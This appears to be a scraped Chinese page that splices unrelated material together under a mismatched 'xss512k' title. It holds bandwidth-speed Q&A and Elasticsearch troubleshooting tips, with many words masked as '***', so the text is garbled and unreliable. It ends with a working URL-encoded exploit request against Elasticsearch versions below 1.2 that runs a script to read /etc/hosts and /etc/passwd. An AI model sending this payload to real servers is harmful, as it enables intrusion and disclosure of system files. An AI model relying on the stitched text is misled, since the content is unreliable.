xss512k大于（xss 2k120）

hacker 安全防御 2023-02-24 212 4 xss512k大于

512K的网速下载速1~30多KB/s正常吗?

512k用户的到达测速网站的速度大于40KByte/s,即320Kbps时是属于正常的.

你可以到

测速

xss512k大于（xss 2k120）

512k的网速下载一兆的文件多长时间,，512除以8为什么？8是什么意思

首先，512k的网速是一个简称，其实完全的单位应该是512kbps

意思是每秒512千字节，这里的b是bit，

而1兆的文件=1mb,这里b是byte，1byte=8bit

现在我们回到你的问题

512kbit/s=0.0625mbyte/s=62.5kbyte/s，这个就是你可以在下载工具的看到的更大速度

因此，1M的文件需要1/0.0625=16秒

当然，这里是最理想的速度，就是你连接的下载地址可以提供的带宽大于等于512K，如果小于，即 *** 达不到512K，那么，就要大于16秒

512k的网速是多少？

速率与 *** 的关系是这样的:

他们所说的 *** 带宽512KB ,1M 是这样的512Kbps 1Mbps (1Mbps=1024Kbps)

单位为bps这是速率单位,并不是下载文件时显示的那个单位,

下载文件时的那个速度单位是Kbyte Mbyte(1Mbyte=1024Kbyte)

他们的关系是:1Kbyte=8Kbps,因此512Kbps带宽的 *** 是512Kbps÷8=64KB

1Mbps带宽 *** :1024Kbps÷8=128KB,

512KB宽带 *** 速率为512Kbps, *** 平均为55KB~60KB左右,若不下载大型文件(大于50MB),只是浏览网页或下载歌曲,512K足矣.你要下载游戏或者玩 *** 游戏的,建议使用1M宽带.

如此计算下来,会发现计算的 *** 与实际 *** 有偏差,那是因为 *** 线路损耗或者天气原因造成的,属于正常范围,但速度降的太低就有问题了,需要保修(在资源充足的情况下:512K宽带不低于20KB,1M宽带不低于50KB)

es的句柄数不会自动下降是怎么回事

1.由gc引起节点脱离集群

因为gc时会使jvm停止工作，如果某个节点gc时间过长，master ping3次（zen discovery默认ping失败重试3次）不通后就会把该节点剔除出集群，从而导致索引进行重新分配。

解决 *** ：

（1）优化gc，减少gc时间。（2）调大zen discovery的重试次数（es参数：ping_retries）和超时时间（es参数：ping_timeout）。后来发现根本原因是有个节点的系统所在硬盘满了。导致系统性能下降。

2.out of memory错误

因为默认情况下es对字段数据缓存（Field Data Cache）大小是无限制的，查询时会把字段值放到内存，特别是facet查询，对内存要求非常高，它会把结果都放在内存，然后进行排序等操作，一直使用内存，直到内存用完，当内存不够用时就有可能出现out of memory错误。

解决 *** ：

（1）设置es的缓存类型为Soft Reference，它的主要特点是据有较强的引用功能。只有当内存不够的时候，才进行回收这类内存，因此在内存足够的时候，它们通常不被回收。另外，这些引用对象还能保证在Java抛出OutOfMemory 异常之前，被设置为null。它可以用于实现一些常用图片的缓存，实现Cache的功能，保证更大限度的使用内存而不引起OutOfMemory。在es的配置文件加上index.cache.field.type: soft即可。

（2）设置es更大缓存数据条数和缓存失效时间，通过设置index.cache.field.max_size: 50000来把缓存field的更大值设置为50000，设置index.cache.field.expire: 10m把过期时间设置成10分钟。

3.无法创建本地线程问题

es恢复时报错： RecoverFilesRecoveryException[[index][3] Failed to transfer [215] files with total size of [9.4gb]]; nested: OutOfMemoryError[unable to create new native thread]; ]]

刚开始以为是文件句柄数限制，但想到之前报的是too many open file这个错误，并且也把数据改大了。查资料得知一个进程的jvm进程的更大线程数为：虚拟内存/（堆栈大小*1024*1024），也就是说虚拟内存越大或堆栈越小，能创建的线程越多。重新设置后还是会报那这错，按理说可创建线程数完全够用了的，就想是不是系统的一些限制。后来在网上找到说是max user processes的问题，这个值默认是1024，这个参数单看名字是用户更大打开的进程数，但看官方说明，就是用户最多可创建线程数，因为一个进程最少有一个线程，所以间接影响到更大进程数。调大这个参数后就没有报这个错了。

解决 *** ：

（1）增大jvm的heap内存或降低xss堆栈大小（默认的是512K）。

（2）打开/etc/security/limits.conf ，把soft nproc 1024这行的1024改大就行了。

4.集群状态为黄色时并发插入数据报错

[7]: index [index], type [index], id [1569133], message [UnavailableShardsException[[index][1] [4] shardIt, [2] active : Timeout waiting for [1m], request: org.elasticsearch.action.bulk.BulkShardRequest@5989fa07]]

这是错误信息，当时集群状态为黄色，即副本没有分配。当时副本设置为2，只有一个节点，当你设置的副本大于可分配的机器时，此时如果你插入数据就有可能报上面的错，因为es的写一致性默认是使用quorum，即quorum值必须大于（副本数/2+1），我这里2/2+1=2也就是说要要至少插入到两份索引中，由于只有一个节点，quorum等于1，所以只插入到主索引，副本找不到从而报上面那个错。

解决 *** ：（1）去掉没分配的副本。（2）把写一致性改成one，即只写入一份索引就行。

5.设置jvm锁住内存时启动警告

当设置bootstrap.mlockall: true时，启动es报警告Unknown mlockall error 0，因为linux系统默认能让进程锁住的内存为45k。

解决 *** ：设置为无限制，linux命令：ulimit -l unlimited

6.错误使用api导致集群卡死

其实这个是很低级的错误。功能就是更新一些数据，可能会对一些数据进行删除，但删除时同事使用了deleteByQuery这个接口，通过构造BoolQuery把要删除数据的id传进去，查出这些数据删除。但问题是BoolQuery最多只支持1024个条件，100个条件都已经很多了，所以这样的查询一下子就把es集群卡死了。

解决 *** ：用bulkRequest进行批量删除操作。

7.org.elasticsearch.transport.RemoteTransportException: Failed to deserialize exception response from stream

原因:es节点之间的JDK版本不一样

解决 *** ：统一JDK环境

8 . org.elasticsearch.client.transport.NoNodeAvailableException: No node available

1）端口错

client = new TransportClient().addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

这里9300 写成9200的话会No node available

要是你连的不是本机，注意IP有没有正确

2 ）jar报引用版本不匹配，开启的服务是什么版本，引用的jar更好匹配（这个我没有去试，反正我的是匹配的）

3）要是你改了集群名字，还有设置集群名字

Settings settings = ImmutableSettings.settingsBuilder().put("cluster.name", "xxx").build();

client = new TransportClient(settings).addTransportAddress(new InetSocketTransportAddress(ipAddress, 9300));

4）集群超过5s没有响应

解决 *** 1.设置client.transport.ping_timeout设大

2.代码内加入while (true) {

try {

bulk.execute().actionGet(getRetryTimeout());

break;

}

catch (NoNodeAvailableException cont) {

Thread.sleep(5000);

continue;

}

9.elasticsearch 近日被发现漏洞，可以远程执行任意代码，由于 elasticsearch提供了http接口，导致可能通过CSRF等方式借助恶意页面浏览发生攻击。

漏洞影响版本:

elasticsearch 1.2以下

测试代码：

http:// ESSERVERIP:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7Dcallback=jQuery111102863897154977554_1400571156308_=1400571156309